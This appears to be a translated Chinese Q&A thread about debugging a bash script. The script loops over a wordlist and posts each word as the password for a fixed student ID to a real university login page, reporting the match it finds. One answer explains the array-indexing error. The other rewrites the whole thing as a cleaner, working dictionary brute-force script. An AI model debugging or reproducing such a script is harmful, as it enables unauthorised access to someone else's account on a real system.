我对bash脚本有疑问。这是我的代码,但运行时出现错误。请告诉我什么是问题以及如何解决?
#!/bin/bash
clear
old_IFS=$IFS
IFS=$'\n'
lines={$(cat dic.txt)}
IFS=$old_IFS
linesNum=${#lines[@]}
i=0
while [ $i -lt $linesNum ]
do
curl --silent --data '__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935255415" F80401="${lines[\"$i\"]}" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox=' https://reg.pnu.ac.ir/forms/authenticateuser/main.htm | grep "کد1" >> /dev/null ; check=$?
if [ $check -eq '0' ]
then
echo " Password not found!"
else
echo " Password is: ${lines[\"$i\"]}"
break
fi
((i++))
done
答案 0 :(得分:1)
Bash数组声明为:
arr=(elem1 elem2 elem3)
然后像这样访问元素:
> echo "${arr[0]}"
elem1
如果要使用索引,可以执行以下操作:
> i=1
> echo "${arr[$i]}"
elem2
[...]
之间的部分未重新评估-即。引号没有被删除,完全发生了变量扩展。
因此以下操作将无效:
> i=2
> echo "${arr["$i"]}"
bash: \"2\": syntax error: operand expected (error token is "\"2\"")
由于未从bash数组索引中删除引号,并且不允许使用引号,因此会导致语法错误。
这应该足以解决脚本中的错误。 ${lines[\"$i\"]}
和${lines['$i']}
都不正确,并且语法错误。
答案 1 :(得分:0)
您的代码包含许多反模式。要跨文件中的行循环,一次只需read -r
一行。要检查command
是否成功,请使用if command
而不是command; if [ $? -eq 0 ]
#!/bin/bash
#clear # just don't
fmt_data='__VIEWSTATE=/wEPDwUKMjA2NTYzNTQ5MmRkM9W6oZR3v6vTlgum6RRE+XBA1YwwnX5efXI7H3VYGhb90nffjJgTX9BC2vcXTKn5JQP7gGZqRX5i6+UBKQJYpA==&__VIEWSTATEGENERATOR=6A475423&__EVENTVALIDATION=/wEdAAaQshnEBVjtUzZSOPhpyCK04ALG8S7ZiLlJqSsuXBsjGz/LlbfviBrHuco87ksZgLcCRt9NnSPADSFObzNVq3ShPZSQos3ErAwfDmhlNwH4qEsT6FfmV7ULQ7j/FGM5sO744qbWJoRwx8DdO7AyAGSCIHJNCxliL9wbeJx4BbqKpujh8LdA0lq2IWQA/fzdzgdrfpaMf8EyK24t6s+s9NNx&TxtMiddle=<r F51851="" F80351="935255415" F80401="%s" F83181="" F51701=""/>&Fm_Action=09&Frm_Type=&Frm_No=&TicketTextBox='
url='https://reg.pnu.ac.ir/forms/authenticateuser/main.htm'
while read -r line; do
if curl --silent --data "$(printf "$fmt_data" "$line")" "$url" |
grep -q "کد1"
then
echo "$0: Password not found!" >&2
else
echo "$0: Password is: $line" >&2
break
fi
done <dic.txt